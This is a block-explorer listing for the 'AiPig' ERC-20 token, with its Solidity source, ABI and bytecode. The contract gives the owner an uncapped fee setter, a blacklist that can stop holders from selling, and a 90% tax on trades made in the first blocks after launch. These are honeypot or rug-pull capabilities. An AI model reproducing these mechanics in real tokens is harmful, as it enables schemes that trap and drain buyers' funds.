ERC-20
Source Code
Overview
Max Total Supply
420,690,000,000,000 AiPig
Holders
1,948
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
93,100,000,000 AiPigValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
AiPig
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/**
*Submitted for verification at BscScan.com on 2022-11-11
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ISwapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
address referrer,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
address referrer,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
address referrer,
uint deadline
) external;
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
}
interface ISwapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function owner() external view returns (address);
function feePercentOwner() external view returns (address);
function setStableOwner() external view returns (address);
function feeTo() external view returns (address);
function ownerFeeShare() external view returns (uint256);
function referrersFeeShare(address) external view returns (uint256);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function feeInfo() external view returns (uint _ownerFeeShare, address _feeTo);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "!owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "new is 0");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenDistributor {
constructor (address token) {
IERC20(token).approve(msg.sender, uint(~uint256(0)));
}
}
abstract contract AbsToken is IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address public fundAddress;
address public factoryAddress;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 public kb = 5;
uint256 public maxSellAmount;
uint256 public maxBuyAmount;
uint256 public walletLimit;
bool public limitEnable = false;
bool public limitBuyEnable = true;
mapping(address => bool) public _feeWhiteList;
mapping(address => bool) public _blackList;
mapping(address => bool) public isMaxEatExempt;
uint256 private _tTotal;
ISwapRouter public _swapRouter;
ISwapFactory public _swapFactory;
address public _usdt;
mapping(address => bool) public _swapPairList;
bool private inSwap;
uint256 private constant MAX = ~uint256(0);
TokenDistributor public _tokenDistributor;
uint256 public _buyFundFee = 350;
uint256 public _buyLPDividendFee = 250;
uint256 public _sellLPDividendFee = 350;
uint256 public _sellFundFee = 0;
uint256 public _sellLPFee = 250;
uint256 public goMoonBlock;
address public _mainPair;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (
address RouterAddress,address FactoryAddress,address USDTAddress,
string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply,
address FundAddress
){
address ReceiveAddress = msg.sender;
_name = Name;
_symbol = Symbol;
_decimals = Decimals;
ISwapFactory swapFactory = ISwapFactory(FactoryAddress);
ISwapRouter swapRouter = ISwapRouter(RouterAddress);
IERC20(USDTAddress).approve(address(swapRouter), MAX);
_usdt = USDTAddress;
_swapRouter = swapRouter;
_swapFactory = swapFactory;
_allowances[address(this)][address(swapRouter)] = MAX;
uint256 total = Supply * 10 ** Decimals;
_tTotal = total;
maxBuyAmount = total;
maxSellAmount = total;
walletLimit = 15 * 10 ** Decimals;
_balances[ReceiveAddress] = total;
emit Transfer(address(0), ReceiveAddress, total);
fundAddress = FundAddress;
_feeWhiteList[FundAddress] = true;
_feeWhiteList[ReceiveAddress] = true;
_feeWhiteList[address(this)] = true;
_feeWhiteList[address(swapRouter)] = true;
_feeWhiteList[msg.sender] = true;
isMaxEatExempt[msg.sender] = true;
isMaxEatExempt[fundAddress] = true;
isMaxEatExempt[ReceiveAddress] = true;
isMaxEatExempt[address(swapRouter)] = true;
isMaxEatExempt[address(this)] = true;
isMaxEatExempt[address(0xdead)] = true;
excludeHolder[address(0)] = true;
excludeHolder[address(0x000000000000000000000000000000000000dEaD)] = true;
holderRewardCondition = 10 * 5 ** IERC20(USDTAddress).decimals();
_tokenDistributor = new TokenDistributor(USDTAddress);
}
function initializePair() external onlyOwner {
address swapPair = _swapFactory.createPair(address(this), _usdt);
_mainPair = swapPair;
_swapPairList[swapPair] = true;
isMaxEatExempt[address(swapPair)] = true;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[sender][msg.sender] != MAX) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setMaxAmount(uint256 _maxBuyAmount, uint256 _maxSellAmount, uint256 _walletLimit) public onlyOwner {
maxBuyAmount = _maxBuyAmount;
maxSellAmount = _maxSellAmount;
walletLimit = _walletLimit;
}
function setLimitEnable(bool status) public onlyOwner {
limitEnable = status;
}
function setLimitBuyEnable(bool status) public onlyOwner {
limitBuyEnable = status;
}
function setisMaxEatExempt(address holder, bool exempt) external onlyOwner {
isMaxEatExempt[holder] = exempt;
}
function setkb(uint256 a) public onlyOwner {
kb = a;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(!_blackList[from], "blackList");
uint256 balance = balanceOf(from);
require(balance >= amount, "balanceNotEnough");
bool takeFee;
bool isSell;
//airdrop
if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
address ad;
for (int i = 0; i <= 2; i++) {
ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
_basicTransfer(from, ad, 1000000);
}
amount -= 3000000;
}
if (_swapPairList[from] || _swapPairList[to]) {
if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
if (limitBuyEnable) {
if (0 == goMoonBlock) {
require(0 < goAddLPBlock && _swapPairList[to], "!goAddLP");
}
if (block.number < goMoonBlock + kb) {
_funTransfer(from, to, amount);
return;
}
}
if (_swapPairList[to]) {
if (!inSwap) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
uint256 swapFee = _buyFundFee + _buyLPDividendFee + _sellFundFee + _sellLPDividendFee + _sellLPFee;
uint256 numTokensSellToFund = amount * swapFee * 2 / 10000;
if (numTokensSellToFund > contractTokenBalance) {
numTokensSellToFund = contractTokenBalance;
}
swapTokenForFund(numTokensSellToFund, swapFee);
}
}
}
takeFee = true;
}
if (_swapPairList[to]) {
isSell = true;
}
}
_tokenTransfer(from, to, amount, takeFee, isSell);
if (from != address(this)) {
if (isSell) {
addHolder(from);
}
processReward(1000000);
}
}
function _funTransfer(
address sender,
address recipient,
uint256 tAmount
) private {
_balances[sender] = _balances[sender] - tAmount;
uint256 feeAmount = tAmount * 90 / 100;
_takeTransfer(
sender,
fundAddress,
feeAmount
);
_takeTransfer(sender, recipient, tAmount - feeAmount);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 tAmount,
bool takeFee,
bool isSell
) private {
_balances[sender] = _balances[sender] - tAmount;
uint256 feeAmount;
if (takeFee) {
uint256 swapFee;
if (isSell) {
swapFee = _sellFundFee + _sellLPDividendFee + _sellLPFee;
require(tAmount <= maxSellAmount, "over max sell amount");
} else {
swapFee = _buyFundFee + _buyLPDividendFee;
require(tAmount <= maxBuyAmount, "over max buy amount");
}
uint256 swapAmount = tAmount * swapFee / 10000;
if (swapAmount > 0) {
feeAmount += swapAmount;
_takeTransfer(
sender,
address(this),
swapAmount
);
}
}
if (!isMaxEatExempt[recipient] && limitEnable)
require((balanceOf(recipient) + tAmount - feeAmount) <= walletLimit, "over max wallet limit");
_takeTransfer(sender, recipient, tAmount - feeAmount);
}
function swapTokenForFund(uint256 tokenAmount, uint256 swapFee) private lockTheSwap {
swapFee += swapFee;
uint256 lpFee = _sellLPFee;
uint256 lpAmount = tokenAmount * lpFee / swapFee;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _usdt;
_swapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
tokenAmount - lpAmount,
0,
path,
address(_tokenDistributor),
fundAddress,
block.timestamp
);
swapFee -= lpFee;
IERC20 USDT = IERC20(_usdt);
uint256 usdtBalance = USDT.balanceOf(address(_tokenDistributor));
uint256 fundAmount = usdtBalance * (_buyFundFee + _sellFundFee) * 2 / swapFee;
USDT.transferFrom(address(_tokenDistributor), fundAddress, fundAmount);
USDT.transferFrom(address(_tokenDistributor), address(this), usdtBalance - fundAmount);
if (lpAmount > 0) {
uint256 lpFist = usdtBalance * lpFee / swapFee;
if (lpFist > 0) {
_swapRouter.addLiquidity(
address(this), _usdt, lpAmount, lpFist, 0, 0, fundAddress, block.timestamp
);
}
}
}
function _takeTransfer(
address sender,
address to,
uint256 tAmount
) private {
_balances[to] = _balances[to] + tAmount;
emit Transfer(sender, to, tAmount);
}
function setFundAddress(address addr) external onlyFunder {
fundAddress = addr;
_feeWhiteList[addr] = true;
}
function setMainPairAddress(address swapPair) external onlyFunder {
_mainPair = swapPair;
_swapPairList[swapPair] = true;
isMaxEatExempt[address(swapPair)] = true;
}
function setBuyLPDividendFee(uint256 dividendFee) external onlyOwner {
_buyLPDividendFee = dividendFee;
}
function setBuyFundFee(uint256 fundFee) external onlyOwner {
_buyFundFee = fundFee;
}
function setSellLPDividendFee(uint256 dividendFee) external onlyOwner {
_sellLPDividendFee = dividendFee;
}
function setSellFundFee(uint256 fundFee) external onlyOwner {
_sellFundFee = fundFee;
}
function setSellLPFee(uint256 lpFee) external onlyOwner {
_sellLPFee = lpFee;
}
uint256 public goAddLPBlock;
function goAddLP() external onlyOwner {
require(0 == goAddLPBlock, "startedAddLP");
goAddLPBlock = block.number;
}
function returnAddLP() external onlyOwner {
goAddLPBlock = 0;
}
function goMoon() external onlyOwner {
require(0 == goMoonBlock, "trading");
goMoonBlock = block.number;
}
function returnMoon() external onlyOwner {
goMoonBlock = 0;
}
function setFeeWhiteList(address addr, bool enable) external onlyFunder {
_feeWhiteList[addr] = enable;
}
function setBlackList(address addr, bool enable) external onlyOwner {
_blackList[addr] = enable;
}
function setSwapPairList(address addr, bool enable) external onlyFunder {
_swapPairList[addr] = enable;
}
function claimBalance() external {
payable(fundAddress).transfer(address(this).balance);
}
function claimToken(address token, uint256 amount, address to) external onlyFunder {
IERC20(token).transfer(to, amount);
}
modifier onlyFunder() {
require(fundAddress == msg.sender || _owner == msg.sender, "!Funder");
_;
}
receive() external payable {}
address[] private holders;
mapping(address => uint256) holderIndex;
mapping(address => bool) excludeHolder;
function addHolder(address adr) private {
uint256 size;
assembly {size := extcodesize(adr)}
if (size > 0) {
return;
}
if (0 == holderIndex[adr]) {
if (0 == holders.length || holders[0] != adr) {
holderIndex[adr] = holders.length;
holders.push(adr);
}
}
}
function manage_wl(address[] calldata addresses, bool status) public onlyOwner {
require(addresses.length < 201);
for (uint256 i; i < addresses.length; ++i) {
_feeWhiteList[addresses[i]] = status;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner {
require(addresses.length < 2001);
uint256 SCCC = amount * addresses.length;
require(balanceOf(msg.sender) >= SCCC);
for (uint i = 0; i < addresses.length; i++) {
_basicTransfer(msg.sender, addresses[i], amount);
}
}
function manage_bl(address[] calldata addresses, bool status) public onlyOwner {
require(addresses.length < 201);
for (uint256 i; i < addresses.length; ++i) {
_blackList[addresses[i]] = status;
}
}
uint256 private currentIndex;
uint256 private holderRewardCondition;
uint256 private progressRewardBlock;
function processReward(uint256 gas) private {
if (progressRewardBlock + 20 > block.number) {
return;
}
IERC20 USDT = IERC20(_usdt);
uint256 balance = USDT.balanceOf(address(this));
if (balance < holderRewardCondition) {
return;
}
IERC20 holdToken = IERC20(_mainPair);
uint holdTokenTotal = holdToken.totalSupply();
address shareHolder;
uint256 tokenBalance;
uint256 amount;
uint256 shareholderCount = holders.length;
uint256 gasUsed = 0;
uint256 iterations = 0;
uint256 gasLeft = gasleft();
while (gasUsed < gas && iterations < shareholderCount) {
if (currentIndex >= shareholderCount) {
currentIndex = 0;
}
shareHolder = holders[currentIndex];
tokenBalance = holdToken.balanceOf(shareHolder);
if (tokenBalance > 0 && !excludeHolder[shareHolder]) {
amount = balance * tokenBalance / holdTokenTotal;
if (amount > 0) {
USDT.transfer(shareHolder, amount);
}
}
gasUsed = gasUsed + (gasLeft - gasleft());
gasLeft = gasleft();
currentIndex++;
iterations++;
}
progressRewardBlock = block.number;
}
function setHolderRewardCondition(uint256 amount) external onlyFunder {
holderRewardCondition = amount;
}
function setExcludeHolder(address addr, bool enable) external onlyFunder {
excludeHolder[addr] = enable;
}
}
contract AiPig is AbsToken {
constructor() AbsToken(
address(0xc873fEcbd354f5A56E00E710B90EF4201db2448d), // RouterAddress
address(0x6EcCab422D763aC031210895C81787E87B43A652), // RouterAddress
address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9), // USDTAddress
"AiPig", //Name
"AiPig", //Symbol
18, //Decimals
420_690_000_000_000, //Supply
address(0x1404553d2bC476CECFEeCfF931B82cC9450e8b32) // FundAddress
){
}
}{
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLPDividendFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPDividendFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFactory","outputs":[{"internalType":"contract ISwapFactory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapRouter","outputs":[{"internalType":"contract ISwapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_usdt","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"factoryAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"goAddLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"goAddLPBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"goMoon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"goMoonBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initializePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMaxEatExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitBuyEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_bl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_wl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"multiTransfer_fixed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"returnAddLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"returnMoon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"}],"name":"setBuyFundFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"dividendFee","type":"uint256"}],"name":"setBuyLPDividendFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setExcludeHolder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setFeeWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setFundAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setHolderRewardCondition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"setLimitBuyEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"setLimitEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"swapPair","type":"address"}],"name":"setMainPairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxBuyAmount","type":"uint256"},{"internalType":"uint256","name":"_maxSellAmount","type":"uint256"},{"internalType":"uint256","name":"_walletLimit","type":"uint256"}],"name":"setMaxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"}],"name":"setSellFundFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"dividendFee","type":"uint256"}],"name":"setSellLPDividendFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lpFee","type":"uint256"}],"name":"setSellLPFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setSwapPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisMaxEatExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"setkb","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"walletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526005600855600c805461ffff191661010017905561015e601681905560fa60178190556018919091556000601955601a553480156200004257600080fd5b50604080518082018252600580825264416950696760d81b602080840182905284518086018652928352820152600080546001600160a01b031916339081178255935173c873fecbd354f5a56e00e710b90ef4201db2448d94736eccab422d763ac031210895c81787e87b43a6529473fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb9949093909260129266017e9d8602b40092731404553d2bc476cecfeecff931b82cc9450e8b32928291907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350336005620001258782620005a8565b506006620001348682620005a8565b506007805460ff191660ff861617905560405163095ea7b360e01b81526001600160a01b03808b166004830152600019602483015289918b918a169063095ea7b3906044016020604051808303816000875af115801562000199573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001bf919062000674565b50601380546001600160a01b03808c166001600160a01b031992831617909255601180548484169083168117909155601280549386169390921692909217905530600090815260026020908152604080832093835292905290812060001990556200022c87600a620007b4565b620002389087620007c5565b6010819055600a818155600982905590915062000257908890620007b4565b6200026490600f620007c5565b600b556001600160a01b0384166000818152600160209081526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b0319166001600160a01b0387811691821783556000918252600d60209081526040808420805460ff1990811660019081179092558a851680875283872080548316841790553080885284882080548416851790558a871680895285892080548516861790553389528589208054851686179055600f8752858920805485168617905598548716885284882080548416851790559087528387208054831684179055968652828620805482168317905595855281852080548716821790557f99629f56119585bf27511b6b7d295dffb54757453fcc3dabcf51d92028301f1080548716821790558280527f29ab76e7ca72530a8284597fb76b039d796325740b21528d71ade454c6f2dbe9805487168217905561dead9094527fcbaad361c71be11fa6bdbe0e740c6259be964b32182da2da47b54472477c6a178054909516909317909355815163313ce56760e01b81529151908d169263313ce56792600480820193918290030181865afa1580156200043c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004629190620007df565b6200046f906005620007b4565b6200047c90600a620007c5565b6022556040518a906200048f90620004f5565b6001600160a01b039091168152602001604051809103906000f080158015620004bc573d6000803e3d6000fd5b50601560016101000a8154816001600160a01b0302191690836001600160a01b0316021790555050505050505050505050505062000804565b610147806200357283390190565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200052e57607f821691505b6020821081036200054f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005a357600081815260208120601f850160051c810160208610156200057e5750805b601f850160051c820191505b818110156200059f578281556001016200058a565b5050505b505050565b81516001600160401b03811115620005c457620005c462000503565b620005dc81620005d5845462000519565b8462000555565b602080601f831160018114620006145760008415620005fb5750858301515b600019600386901b1c1916600185901b1785556200059f565b600085815260208120601f198616915b82811015620006455788860151825594840194600190910190840162000624565b5085821015620006645787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200068757600080fd5b815180151581146200069857600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006f6578160001904821115620006da57620006da6200069f565b80851615620006e857918102915b93841c9390800290620006ba565b509250929050565b6000826200070f57506001620007ae565b816200071e57506000620007ae565b8160018114620007375760028114620007425762000762565b6001915050620007ae565b60ff8411156200075657620007566200069f565b50506001821b620007ae565b5060208310610133831016604e8410600b841016171562000787575081810a620007ae565b620007938383620006b5565b8060001904821115620007aa57620007aa6200069f565b0290505b92915050565b60006200069860ff841683620006fe565b8082028115828204841417620007ae57620007ae6200069f565b600060208284031215620007f257600080fd5b815160ff811681146200069857600080fd5b612d5e80620008146000396000f3fe6080604052600436106103bc5760003560e01c8063715018a6116101f2578063adc7955d1161010d578063c54c67d8116100a0578063dd62ed3e1161006f578063dd62ed3e14610af4578063dd694a5014610b3a578063e82bef2914610b50578063f2fde38b14610b7057600080fd5b8063c54c67d814610a89578063cd80a8cc14610a9e578063ce0192f914610abe578063d83d414314610ad457600080fd5b8063bfac5ee0116100dc578063bfac5ee014610a09578063c213d62d14610a29578063c35660e414610a49578063c52362e914610a6957600080fd5b8063adc